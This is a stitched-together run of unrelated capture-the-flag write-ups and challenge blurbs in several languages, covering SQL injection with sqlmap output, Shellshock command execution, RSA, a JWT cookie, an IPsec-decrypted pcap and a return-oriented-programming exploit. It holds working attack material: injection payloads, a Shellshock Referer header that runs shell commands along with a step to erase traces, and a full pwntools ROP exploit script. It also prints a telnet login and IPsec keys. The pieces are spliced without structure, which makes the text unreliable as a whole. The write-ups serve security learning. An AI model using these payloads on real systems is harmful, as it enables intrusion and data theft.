STATISTICS || TABLES || TABLESPACES || TABLE_CONSTRAINTS || TABLE_PRIVILEGES || TRIGGERS || USER_PRIVILEGES || VIEWS |+---------------------------------------+
Database: seccon2015[1 table]+---------------------------------------+| users |+---------------------------------------+
[10:04:32] [INFO] fetched data logged to text files under '/Users/h2spice/.sqlmap/output/apk.pwn.seccon.jp'
[*] shutting down at 10:04:32Player should try to take table from database because uid is on the table.h2spices-MacBook-Pro:sqlmapproject-sqlmap-a219ff9 h2spice$ python sqlmap.py -r login.txt -p email --dump -T users -D seccon2015 _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-201511300897}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:09:00
[10:09:00] [INFO] parsing HTTP request from 'login.txt'[10:09:00] [INFO] resuming back-end DBMS 'mysql' [10:09:00] [INFO] resuming back-end DBMS operating system 'Linux' [10:09:00] [INFO] testing connection to the target URLplain-postpassword=dkstkdghks&email=h2spiceencrypted postpassword=2e%2FwWYgMteNzXbChjBDEng%3D%3D&email=VRMkFtG6DFvKDcdcuNP32Q%3D%3D[10:09:00] [INFO] heuristics detected web page charset 'ascii'[10:09:00] [INFO] checking if the target is protected by some kind of WAF/IPS/IDSplain-postpassword=dkstkdghks&email=h2spiceencrypted postpassword=2e%2FwWYgMteNzXbChjBDEng%3D%3D&email=VRMkFtG6DFvKDcdcuNP32Q%3D%3Dsqlmap resumed the following injection point(s) from stored session:---Parameter: email (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: password=dkstkdghks&email=h2spice' AND 7759=7759 AND 'aUaH'='aUaH
Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: password=dkstkdghks&email=h2spice' AND (SELECT * FROM (SELECT(SLEEP(5)))shyL) AND 'sFAw'='sFAw---[10:09:00] [INFO] the back-end DBMS is MySQLweb application technology: Apacheback-end DBMS: MySQL 5[10:09:00] [INFO] fetching columns for table 'users' in database 'seccon2015'[10:09:00] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[10:09:00] [INFO] retrieved: plain-postpassword=dkstkdghks&email=h2spice%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28column_name%29%20AS%20CHAR%29%2C0x20%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D0x7573657273%20AND%20table_schema%3D0x736563636f6e32303135%29%2C1%2C1%29%29%3E51%20AND%20%27SYEX%27%3D%27SYEXencrypted postpassword=2e%2FwWYgMteNzXbChjBDEng%3D%3D&email=5pNDsvrGY7Y4Cfi4dATbVIp4ephJJIjMZ0BNE2ROEIHWmJEp64R%2FnXbnF9UURKBP5oY9StTRzv3ovlV6aqn2ZSJqmuFyLB0m8x%2B9yXQSjkGp7%2BTgNW2QXU0giLB4BkpDRQY1j4uG3iepEY8Lpqobs%2FTaA0UVtgBFzGL2uLqQb1QDIXRou%2FcoP94h5KnlRE5Q5Oax0AKEmXUPGkz9QoR%2BFGPeahw3DSg0dY%2FiCe4bbrurGE9BCcB8DQjOnL%2F48Wn94Zg0FO8JihPZRsQmzGGaRw%3D%3DAs a result, you can be able to take all the data of every user from table and it will be able to discover the unique_id of iahthekey @ 2015.seccon.jp account.Cut the unique-id([email protected]) as much [0:16] and use as AES key.Then player can decrypt SECCON{…} Keydecrypt.py code is below.import base64from Crypto.Cipher import AES
BS = 16pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()unpad = lambda s: s[:-ord(s[len(s)-1:])]
key = "a159c1f7097ba804"enc = "fuO/gyps1L1JZwet4jYaU0hNvIxa/ncffqy+3fEHIn4="enc = base64.b64decode(enc)cipher = AES.new(key, AES.MODE_ECB)dec = cipher.decrypt(enc)plain=unpad(dec).decode('utf-8')print plainSECCON{…} Key is belowh2spices-MacBook-Pro:Desktop h2spice$ python android400-decrypt.py SECCON{6FgshufUTpRm} |
#ThorEra um hexdump de um arquivo lzip, bem simples:
Primeiro, baixar o arquivo```wget -qO- https://play.icec.tf/problem-static/thor_7101f3b9690d5dc6c3afefa49d82e0526b278ec1c564139369ad22c28721d4cf.txt | cut -f2-9 -d" " | tr -d ' \n' | xxd -r -p > arq```Depois, determinar o tipo do arquivo```$ file arqarq: lzip compressed data, version: 1```
Então, descompactar o arquivo e verificar seu tipo.```$ lzip -d arq$ file arq.outarq.out: JPEG image data, JFIF standard 1.01```
JPG? Só abrir a imagem e copiar a flag```$ feh arq.out```IceCTF{h3XduMp1N9_l1K3_A_r341_B14Ckh47} |
#GeocitiesO nome do desafio já indicava que deveria ser uma falha antiga, e logo achamos que a página era vulnerável a shellshockSegue o passo a passo
1) listar os arquivos remotos```wget --header "Referer: () { :; };echo; ls" "http://geocities.vuln.icec.tf" -O-
...log.htmlget_posts.plimgindex.cgi...```
2) Verificada a vulnerabilidade, vamos agilizar o processo, criando uma função pra explorar a vulnerabilidade com mais facilidade```geo (){ wget -q --header "Referer: () { :; };echo; $*" "http://geocities.vuln.icec.tf" -O-; }```
3) O arquivo get_posts.pl parece ser o que precisamos, dado o nome. Vamos verificar seu conteúdo```geo cat get_posts.pl#!/usr/bin/perl
use strict;use DBI;
my $dbh = DBI->connect( "dbi:mysql:dbname=geocities;host=icectf_mariadb", "geocities", "geocities", { RaiseError => 1 },) or die $DBI::errstr;
my $sth = $dbh->prepare("SELECT * from Posts ORDER BY post_date DESC");$sth->execute();
my $row;while ($row = $sth->fetchrow_arrayref()) { print "@$row[1];@$row[2];@$row[3]\n";}
$sth->finish();$dbh->disconnect();```É um script em perl que conversa com o db local, rodando mariadb, e busca os posts.A forma mais ágil que considerei foi criar copias desse arquivo para executar os comandos que eu queria.
então fiz o seguinte:```xpl=$(geo cat get_posts.pl | sed 's/my $sth.*/my $sth = $dbh->prepare("show tables;")\;/;s/print.*/print join(", ", @\$row), "\\n"\;/' | base64 -w0)```Essa linha basicamente substitui os comandos que o arquivo get_posts.pl descreve, para me mostrar a saída do comando sql "show tables" em uma saída legível.Ao mesmo tempo, joguei em um pipe para encodar em base64 e armazenei em uma variável para facilitar a criação desse arquivo remotamente:
```geo "echo $xpl | base64 -d > /tmp/318br.pl"geo perl /tmp/318br.pl47a6fd2ca39d2b0d6eea1c30008dd889Posts```
Pela cara, parece óbvio que a tabela que precisamos é essa 47a6fd2ca39d2b0d6eea1c30008dd889.Então repetimos a edição do arquivo, para inserir o comando "select * from 47a6fd2ca39d2b0d6eea1c30008dd889"
```xpl=$(geo cat get_posts.pl | sed 's/my $sth.*/my $sth = $dbh->prepare("select * from 47a6fd2ca39d2b0d6eea1c30008dd889;")\;/;s/print.*/print join(", ", @\$row), "\\n"\;/' | base64 -w0)```
e repetimos a execução:
```geo "echo $xpl | base64 -d > /tmp/318br.pl"geo perl /tmp/318br.pl1, IceCTF{7h3_g0s_WEr3_5UpeR_wE1Rd_mY_3ye5_HUr7}```depois disso, vamos apagar nossos rastros!
geo "rm -f /tmp/318br.pl" |
#Audio Problems:```wget -c https://play.icec.tf/problem-static/audio_problems_210b88f2232e1c9d770bb5d2069c47aabb86301b0adc7ad606956394a00f298b.wav -O audio_problems```
Basta abrir o arquivo usando o sonic-visualiser e adicionar o layer de Spectogram, e a flag apareceria nesse layer.IceCTF{y0U_b3t7Er_l15TeN_cL053lY} |
<span>We can see a telnet session in the pcap file.The telnet session is a configuration made by an system admin on a remote machine.</span>Login and password of the administrator are :<span>Login : redsPassword : ynwa</span><span>We can see the admin configure ESP protocol on the remote machine :</span><span>src 1.1.1.11 dst 1.1.1.10 proto esp spi 0xfab21777 reqid 16389 mode tunnel replay-window 32 flag 20 auth hmac(sha1) 0x11cf27c5b3357a5fd5d26d253fffd5339a99b4d1 enc cbc(aes) 0xfa19ff5565b1666d3dd16fcfda62820da44b2b51672a85fed155521bedb243eesrc 1.1.1.10 dst 1.1.1.11 proto esp spi 0xbfd6dc1c reqid 16389 mode tunnel replay-window 32 flag 20 auth hmac(sha1) 0x829b457814bd8856e51cce1d745619507ca1b257<span> enc cbc(aes) 0x2a340c090abec9186c841017714a233fba6144b3cb20c898db4a30f02b0a003d</span>src 1.1.1.10 dst 1.1.1.11 proto esp spi 0xeea1503c reqid 16389 mode tunnel replay-window 32 flag 20 auth hmac(sha1) 0x951d2d93498d2e7479c28c1bcc203ace34d7fcde<span> enc cbc(aes) 0x6ec6072dd25a6bcb7b9b3b516529acb641a1b356999f791eb971e57cc934a5eb</span>src 1.1.1.11 dst 1.1.1.10 proto esp spi 0xd4d2074d reqid 16389 mode tunnel replay-window 32 flag 20 auth hmac(sha1) 0x100a0b23fc006c867455506843cc96ad26026ec0 enc cbc(aes) 0xdcfbc7d33d3c606de488c6efac4624ed50b550c88be0d62befb049992972cca6</span>And it’s a good news because we have encrypted ESP packets in our PCAP file !So, we decrypt ESP packets with wireshark : Now we have data in clear text in wireshark.We see HTTP request with a file “flag.png”, it’s our flag ! <span>TMCTF{GO_FOR_THE_CL}</span> |
We all want to keep our secrets secure and what is more important than our precious diary entries? We made this highly secure diary service that is sure to keep all your boy crushes and edgy poems safe from your parents.
nc diary.vuln.icec.tf 6501 |
# IceCTF RSA 1### Solved By: Nullp0inter
# RSA? Cryptography 50ptsJohn was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt
# SolutionWe are provided a file, `flag.txt` which contains three variables for RSA encryption:
```N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d```
`N` is known as the public modulus and is defined as `N = p * q` where `p` and `q` are two prime numbers. `e` is known as the public exponent and is used in both encryption and decrypting. `c` is what is called the cipher text and is the encrypted message we are trying to break, containing of course the flag.
This challenge has a trick to it that is pretty obvious if you know two things: firstly how RSAencryption is decrypted and secondly how the modulus operator works when we have `A mod B` where`B` is larger than `A`, in which case the result is just `A`.
Looking at the [wikipedia page](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) for RSA we can seethat decryption is done with the private key exponent, `d`. With a little more reading we can alsosee that `ed = 1 mod phi` and that `phi = p * q`. Based on that math we know that phi is going topretty darn big considering how large `N` is. Now you could actually bother factoring `N` to get`p` and `q` (for which I recommend using [yafu](https://sourceforge.net/projects/yafu/))but if yousee the trick here you don't even need that!
Remember what I mentioned about modulus when the right number is way bigger than the left?Well here we have `ed = 1 mod phi`. We were already *told* that `e = 0x1` which is just `1` so wesub that in and now we have `d = 1 mod phi`. Well `phi` is *way* bigger than 1, so the result is just `d = 1`. Great we have `d` so now what? Again there is an easy way and a hard way here.Sure you can read the math on the wikipedia page (or elsewhere) and decrypt it manually...*OR* youcan simply use this [online RSA calculator](http://nmichaels.org/rsa.py "Online RSA Tool") and put`d` and `c` in the correct places (making sure to tick the C has a hex string option under the textbox and remove the 0x from the fron), then click 'decrypt'. 'WAIT A SECOND' I can hear some of youscream, 'it just returned a bunch of hex!'.
```0x49 0x63 0x65 0x43 0x54 0x46 0x7b 0x66 0x61 0x6c 0x6c 0x73 0x5f 0x61 0x70 0x61 0x72 0x74 0x5f 0x73 0x6f 0x5f 0x65 0x61 0x73 0x69 0x6c 0x79 0x5f 0x61 0x6e 0x64 0x5f 0x72 0x65 0x61 0x73 0x73 0x65 0x6d 0x62 0x6c 0x65 0x64 0x5f 0x73 0x6f 0x5f 0x63 0x72 0x75 0x64 0x65 0x6c 0x79 0x7d```
Well fret not, even though the tool is nice, it isn't nice enough to give us our string directly butthe hex is all we need. Simply copy and paste it into an [online hex-to-ascii conversion tool](http://www.rapidtables.com/convert/number/hex-to-ascii.htm "Online Hex to ASCII")and claim your prize!
flag is: `IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}` |
##Static analysisThe executable is packed,no strings no imported functions and no crypto signatures.
Dynamic analysisI tried multiple things to solve this challenge :i tried setting break points at USER32.RegisterClass function, the argument of this function has field lpfnWndProc, which is the user function that will be called when a event is triggered , like pressing the Enter button.Then find out how the input is handled, but there were too many function calls, so i tried something else.
Using process explorer, i tried searching for the string "Wrong" that is written as the Result,and i found it plaintext in the memory image. ![1.png] ##Dynamic analysisThen i searched for the string in IDA Pro "search->Find sequence of bytes-> Find "Wrong" ,But first pause the program so that the debugger refreshes its memory , there are two results, one in the .text section (ignore it) , and the other in .debug section (place a Read Hardware Breakpoint at this occurence)
 **Note: IDA didn't show the bytes as a string, you have to undefine the bytes first and then define them as ascii string.
The breakpoint will hit inside a function
 From the call stack find the caller of this function.  The highligthed byte at the bottom controls the success message, so place Write hardware breakpoint at it and click enter in the gui , and u will land inside the function that verifies the entered serial,it contains several simple bitwise/arithmetic operations performed on each letter in the input,reverse them and you will get the flag.
 I then faced two minor problems:- reversing some operations will give multiple answers, so i chose the letter that fits in the current word. - one char was corrupted, maybe i courrupted some data, so i guessed it and verfied my guess in the GUI without debugger.
PAN{d3lphi_is_e4sy_t0_rev3rSE} |
# IceCTF Toke### Solution By: Nullp0inter
# Description:I have a feeling they were pretty high when they made this [website](toke.vuln.icec.tf)...
# Solution
When you visit the webpage you are able to do basically two things, register and login. I, along with what I assume is a significant portion of people, thought thatthis challenge was a SQLi or XSS challenge at first. I initially made an account trying XSS but it was handled properly so that got nowhere, except I did see the postwas made by a "Toke" who I then attempted to SQLi may way into for a while which was also fruitless. After logging in if you examine the cookies you will see one thatis `jwt_token` which looks to be base64 encoded. If we just throw copy the whole thing `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiJucHRyIn0.ItKxsZx5YLny17hrz2WTmWALcBzwxB75pjwkxrNONd8` and just base64decode it:
```python#!/usr/bin/python
import Base64
cookie = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiJucHRyIn0.ItKxsZx5YLny17hrz2WTmWALcBzwxB75pjwkxrNONd8'
print (base64.b64decode(cookie))```
we get back the flag:`IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}` |
They managed to secure their website this time and moved the hashing to the server :(. We managed to leak this hash of the admin's password though! c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a. Can you get the flag? kitty.vuln.icec.tf |
二進数みたいな形式で何かが与えられているのでパースするとフラグがでてきた。 #include <iostream>using namespace std; int main(){ char tmp=0; int count=0; while(!cin.eof()){ char t; cin>>t; if (t=='0' || t=='1'){ count++; tmp=(tmp<<1)+(t-'0'); if(count%8==0){ cout<<tmp; tmp=0; } } }} |
# IceCTF 2016## Solution By: Nullp0inter
# IRC 1 Misc 35ptsThere is someone sharing flags on our IRC server, can you find him and stop him? glitch.is:6667
# Solution: We are told someone is sharing flags on the IRC server and we are asked to find him. All you need todo is log into the IRC (easily done via their web client) and run a whois query on Glitch,the creator of the challenge:
```Glitch (~Glitch@localhost): HlynurGlitch is on the following channels: @#78a99bb_flagshare @#IceCTF @#GlitchGlitch is connected to irc.glitch.isGlitch is away (Auto away at Sat Aug 27 00:27:01 2016)```
Hmm, he is an op over at `#78a99bb_flagshare`. Odd, let's join that with `/join #78a99bb_flagshare`.Once you join look at the channel topic:
```The topic is: Want flags? We got 'em! IceCTF{pL3AsE_D0n7_5h4re_fL495_JUsT_doNT}```
Flag: `IceCTF{pL3AsE_D0n7_5h4re_fL495_JUsT_doNT}` |
主催者が用意した Linux 機で、フラッグを表示するためには特定の条件を満たさないといけないバイナリがおいてある（実行ファイルの sticky bit とかでフラグファイルそのものへのアクセスを与えず実行だけできるように工夫してある）。この問題ではそのバイナリのソースもおいてある。この問題では argv[0] が特定の要件をみたさないといけないので、ホームディレクトリに要件を満たすようにシンボリックリンクを張って実行するとフラグが出た。 |
nc で接続し、そのサーバで実行されたバイナリが渡される pwn。「日記を保存する機能」「最後に保存した日記を表示する機能」がついたバイナリが渡される。見たところ最初に「flag」という関数を読んでおり、ファイルを open して特定のメモリのアドレス（少なくとも objdump で見る限りハードコード）に書き込んでいた。バッファオーバーフローさせるのかと思いきや入力はすべて fgets だった。また、 strchr を呼び出して ‘n’ が含まれているとなぜか「rude!」と表示されて終了する仕様だった。出力を見ると printf だったので、日記の内容を %d とかにするとその時のスタックの一部のデータが出力された。n がブロックされているので、%n が使えず、メモリに書き込むことはできない。gdb で見たところ、しばらく先に日記の内容があったので、日記の先頭部分に flag のアドレスを書き、あとは %d でしばらく埋めつつ flag のアドレスが来る場所に %s を置くとフラグが表示された。 |
## Illuminati (Web, 200p)
###ENG[PL](#pl-version)
In the task we get access to a Illuminati recruitment webpage.However the recruitment is closed and we can only send messages to the admin and he might accept us.We could see only our own messages.
Our first assumption was that it's some standard XSS attack on the admin, but placing some example XSS payload in the form uncovered an SQL error printed.This meant we have an SQL Injection vulnerability.The form had 2 fields:
- subject limited to 40 characters (verified server side)- message with no length limit
Both of them were exploitable with a `"`.The injection point was an `INSERT INTO` query, which limited a bit our capabilities.More so that initially we though we have to exploit the `subject` field doing some crazy SQL golfing in 40 characters, since we could not inject a `select` into the second field due to query construction.The query was something like:
`insert into requests (id, "$subject", "$message")`
Which means that the message field content was either inside quotation marks, or if we close the quotation mark, already outside insert query.We could chain another insert values but we didn't know the ID and thus we would not see the contents of this second insert query.
For a moment we though we will have to make a blind sqli here, but fortunately we came up with a great idea - why not chain injections from both fields at the same time, putting an injection in `subject` which will `shift` the column to the `message` field, lifting the 40 characters limit.
We figured we can put for example the subject as:
```theSubject",concat(```
and message as:
```,(select whatever we want)))#```
And therefore we escape the quotation marks by concat of empty string and our query result!
This way we could now execute any query we wanted, so we dumped the whole database via group_concat and substring.The passwords, including the admin password, were hashed and not likely to be broken.Rest of the database did not contain anything particularly useful.
We thought that maybe we could update the admin password to our own password hash (hoping the passwords are not salted with username as salt), but we did not have rights to do it.
It took us a while to notice that the session cookie for this task was very particular - it helped that we developed a simple python script to send queries, and thus we had session cookie as parameter.The cookie was a number plus our user ID, which is quite odd.So we figured that maybe it's possible to forge admin cookie.In the database in users table there was a strange field with `last login timestamp`.Timestamps are often used as random seeds so we checked what random can we get using our timestamp as seed and we got our missing cookie part!
Therefore, we finally extracted admin login timestamp from database via SQL Injection, we seeded random with the value, took the generated random int, glued it with admin user ID and got the final cookie `1229569179-209`, which was enough to get us logged in as admin and get the flag.
###PL version
W zadaniu dostajemy dostęp do strony rekrutacyjnej Illuminatów.Jednakże rekrutacja jest zamknięta i możemy jedynie wysłać wiadomość do admina, który może nas zaakceptuje.Możemy widzieć tylko nasze własne wiadomości.
Nasze pierwsze skojarzenie to oczywiście standardowy atak XSS na admina, jednakże przykładowy payload XSS w formularzu sprawił że naszym oczom ukazał się błąd SQLa.To oznaczało, że podatność stanowi jednak SQL Injection.Formularz miał 2 pola:
- temat z limitem 40 znaków (sprawdzane po stronie serwera)- wiadomość bez limitu długości
Oba pola były exploitowalne przez `"`.Punktem wstrzyknięcia było zapytanie `INSERT INTO` co trochę ograniczało nasze możliwości.Dodatkowo początkowo myśleliśmy, że możemy użyć efektywnie tylko pola `subject` i trzeba będzie robić jakiś ciężki SQL golfing na 40 znaków, ponieważ nie mogliśmy wstrzyknąć `select` do drugiego pola ze względu na budowę zapytania.Zapytanie miało postać:
`insert into requests (id, "$subject", "$message")`
Co oznaczało, że zawartość pola message była albo wewnatrz cudzysłowów, albo jeśli je domknęliśmy, poza danymi do insertowania.Moglibyśmy co prawda dołączyć kolejny zestaw danych dla insert, ale nie znaliśmy wartości ID i nie moglibyśmy zobaczyć wyniku tego drugiego zapytania.
Początkowo myśleliśmy, że skończy się na ataku blind sqli, ale na szczęście wpadliśmy na lepszy pomysł - czemu nie połączyć wstrzyknięcia z dwóch pól jednocześnie, umieszczajac w polu `subject` kod który `przesunie` kolumne do pola `message`, usuwając 40 znakowy limit.
Wymyśliliśmy, że do pola subject można dać:
```theSubject",concat(```
a wiadomość:
```,(select whatever we want)))#```
I tym samym uciekamy z cudzysłowia przez złączenie pustego stringa z wynikiem naszego zapytania!
W ten sposób mogliśmy teraz wykonać dowolne zapytania więc dumpowaliśmy całą bazę przez group_concat i substring.Hasła w bazie, w tym hasło admina, były niestety hashowane i raczej nie wyglądały na łamalne.Reszta bazy nie wyglądała na zbyt przydatną.
Myśleliśmy, że może da się podmienić hash hasła admina na nasz własny (licząc, że hasła nie są solone loginami), ale nie mieliśmy do tego praw.
Chwile zajęło nam zauważenie, że ciastko sesji dla tego zadania wyglądało dość nietypowo - pomógł fakt, że mieliśmy już napisany prosty skrypt pythona do wysyłania zapytań do bazy i tym samym session id było w nim parametrem.Cookie zawierało pewien numer oraz user ID, co jest dość dziwne.Uznaliśmy więc, że może da się sfabrykować cookie admina.W bazie danych w tabeli użytkowników znajdowało się dziwne pole `last login timestamp`.Znaczniki czasowe często są stosowane jako ziarna dla randoma, więc sprawdziliśmy co da nam random dla naszego timestampa jako ziarna i otrzymaliśmy liczbę z naszego cookie!
W związku z tym wyciągnęliśmy z bazy timestamp dla admina przez SQL Injection, ustawiliśmy ziarno randoma na tą wartość, pobraliśmy losową liczbę, połączyliśmy z ID admina i uzyskaliśmy cookie `1229569179-209`, które pozwoliło zalogować się do aplikacji jako admin i uzyskać flagę. |
#Nullp0inter's ropi write up for IceCTF 2016
##Ropi Pwn 75ptsRitorno orientata programmazione nc.ropi.vuln.icec.tf 6500
## Write UpIn this challange we are again given a download link for what we find out is a 32-bit ELF executeable binary. The challenge name and hint tell us we will probably be doing rop but beyond that or the specifics we don't really know yet. When we fire up the binary we get the following:
```Benvenuti al convegno RetOri Pro!Vuole lasciare un messaggio?
```
Uh oh, Italian. I don't speak that so I threw it into Google Translate and got the following translation:
```Welcome to Pro Rectors conference!Wants to leave a message?```
So ok, its supposed to let me leave like a message. We get the gist. So now I tried entering just a bit of input to see normal execution:
```Benvenuti al convegno RetOri Pro!Vuole lasciare un messaggio?Never gonna give you upaddio!```
It just comes back and prints addio!. Ok, now what? Well lets see if we can crash it:```zshpython -c "print 'D'*100" | ./ropi Benvenuti al convegno RetOri Pro!Vuole lasciare un messaggio?[1] 72553 done python -c "print 'D'*100" | 72554 segmentation fault (core dumped) ./ropi```
YISSS, a core dump, lets examine that in gdb:
```bashStopped reason: SIGSEGV0x44444444 in ?? ()```Awesome! It looks like we overwrote EIP, now we can generate a string with `ragg2` to take the guesswork (or real reversing) out of figuring out the buffer size:```bashragg2 -P 100 -rAAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAA```Using the string ragg2 generated:```bashStopped reason: SIGSEGV0x41415041 in ?? ()```Translating that to an ASCII string we get 'AAPA'. There are two ways to do this now which are either copying the string right up to the first A and using something like len() in Python, but I'm going to use a builtin tool for radare2, `wopO <hex pattern>` which will basically search for how far off that pattern is in the string we generated:```bashr2 ropi -- This is amazing ... [0x08048430]> wopO 0x41415041 43```
43 bytes of padding, alright, we can work with that. Now would be a good time to see where we actually get input and how much we get. We can do this by objdump or by IDA. I'm still learning to reverse so for now I'll just use IDA.
Disassembling with IDA we get the following functions:
#####main:```Cint __cdecl main(int argc, const char **argv, const char **envp){ ezy(); puts("addio!"); return 0;}```
#####ezy:```Cssize_t ezy(){ char buf; // [sp+10h] [bp-28h]@1
puts("Benvenuti al convegno RetOri Pro!\nVuole lasciare un messaggio?"); fflush(stdout); return read(0, &buf, 0x40u);}```
#####ret:```Cint __cdecl ret(int a1){ if ( a1 != -1159991569 ) { puts("chiave sbagliata! :("); exit(1); } fd = open("./flag.txt", 0); puts("[+] aperto"); return fflush(stdout);}```
#####ori:```Cint __cdecl ori(int a1, int a2){ if ( a1 != -1412567041 && a2 != 2018915346 ) { puts("chiave sbagliata! :(("); exit(1); } read(fd, &dati, 0x80u); puts("[+] leggi"); return fflush(stdout);}```
#####pro:```Cint pro(){ puts("[+] stampare"); printf("%s", &dati); return fflush(stdout);}```Using the disassembled functions we can see a few things. Firstly, we gain our input through a call to read and are given a max of 64 bytes (from nbytes being 0x40, which in decimal is 64). We know that for whatever reason, 43 or so bytes in we start to overwrite the EIP. This means we have *roughly* 20 bytes left to play with. Secondly we can see there are three functions other than `main()` and `ezy()` and each appears to have some part of loading and displaying the flag and have to be done in order.
We now know that we have 44 bytes to EIP, 20 bytes to play with including EIP overwrite, 3 functions that must be called in the order `ret()`->`ori()`->`pro()` (return oriented programming), and that these functions all (save `pro()`) appear to have some sort of check at the beginning. Converting those ugly looking numbers to hex we get that `ret()` wants an argument to be `0xbadbeeef` (thats beef with three 'e's) and `ori()` wants two which are 0xabcdefff and 0x78563412. If we fail to provide those then the program prints a failure message and exits.
What now? Well reviewing how ret2libc attacks work, we know that if we can hijack EIP as we have done then we can make it return to wherever we want in the program and do even more so long as we set the stack frame right. So first instinct is to try to make it do `main()`->`ezy()`->`ret()`->`ori()`->`pro()` but we quickly find that there is a problem. Distance to EIP is 44 bytes which leaves us with 20 bytes to craft the exploit. The addresses alone for ret, ori, and pro will take up 12 which leaves us with 8 bytes left. We then need to account for the 4 byte 'canary' in ret, and the two 4 byte 'canaries' in ori. Adding that all up we end up 4 bytes over what we have. That's a problem. So now what? Get clever with the rop gadgets?
Well if you recall I said we could use the EIP access to return ANYWHERE, and as it turns out our vulnerability is in its own function too: `ezy()`! So what do we do about it? Well we know during the same execution we must visit `ret()`,`ori()`, and `pro()` all in order and we also now know we can jump back to `ezy()` which means.... ARBITRARY JUMPING!
If we first go to `ret()` and have it return to `ezy()` rather than `ori()` it means that we can rewrite our exploit and do it again, effectively "chaining" it, so that we can then jump to `ori()` and back to `ezy()` one final time to make a final jump to `pro()`
We have three seperate payloads we then need to construct:
```payload one: 'A'*44<address of ret><address of ezy><0xbadbeeef>payload two: 'A'*44<address of ori><address of ezy><0xabcdefff><0x78563412>payload three: 'A'*44<address of pro><address of main, or just junk>```
Luckily for us, pwntools makes sending these multiple encoded payloads really easy, setting it up just like that we get the following exploit script in python:
```Python#!/usr/bin/python
# @nullp0inter# IceCTF ROPI
from pwn import *
# Addressesmain = 0x08048661ezy_addr = 0x0804852dret_addr = 0x08048569ret_can = 0xbadbeeefori_addr = 0x080485c4ori_can1 = 0xabcdefffori_can2 = 0x78563412pro_addr = 0x0804862c
# Payload Generationpayload = 'A'*44payload += p32(ret_addr) payload += p32(ezy_addr) payload += p32(ret_can) payload2 = 'A'*44 payload2 += p32(ori_addr) payload2 += p32(ezy_addr) payload2 += p32(ori_can1) payload2 += p32(ori_can2) payload3 = 'A'*44 payload3 += p32(pro_addr) payload3 += p32(main)
# Start Pwnage p = remote('ropi.vuln.icec.tf',6500) # Remote#p = process('ropi') # local
p.recv() p.sendline(payload) p.recv() p.sendline(payload2) p.recv() p.sendline(payload3) p.interactive()```
##Special Thanks:Special thanks to members both past and present of my club, wcsc, for all the information they shared with me. I was able to finally solve some fairly difficult challenges thanks to them answering my repeated stupid questions (ropi at 131 solves, dear_diary at 78)
##Resources:I found a ton of great resources during the challenge for learning about ROP attacks:
[Saumil Shah's 'Dive Into ROP'](http://www.slideshare.net/saumilshah/dive-into-rop-a-quick-introduction-to-return-oriented-programming "Dive Into ROP")
[Saumil Shah's 'How Functions Work'](http://www.slideshare.net/saumilshah/how-functions-work-7776073 "How Functions Work")
[Jeffrey Crowell's Blog Post on "Pwning With Radare2"](http://crowell.github.io/blog/2014/11/23/pwning-with-radare2/ "Pwning With R2") |
エイリアンが書いたようだ、という次の画像が渡された。alien_message_b84f283848b7f34fd4c7529186e66e120b0a374c9d0f2a225b0a7a215716afb5IceCTF{ で始まる部分を見ると二つの C が同じなので、換字暗号のようだし、問題ジャンルも Cryptography になっていたが、確定できる文字が少なくて手がかりがつかめず、そもそもアルファベットらしきものも数えてみると 27 文字もあった。そこで、alien alphabet で画像検索するとそれらしき画像があった。Futurama Alien Alphabet というフォントのようなので、見ながら複合化。 |
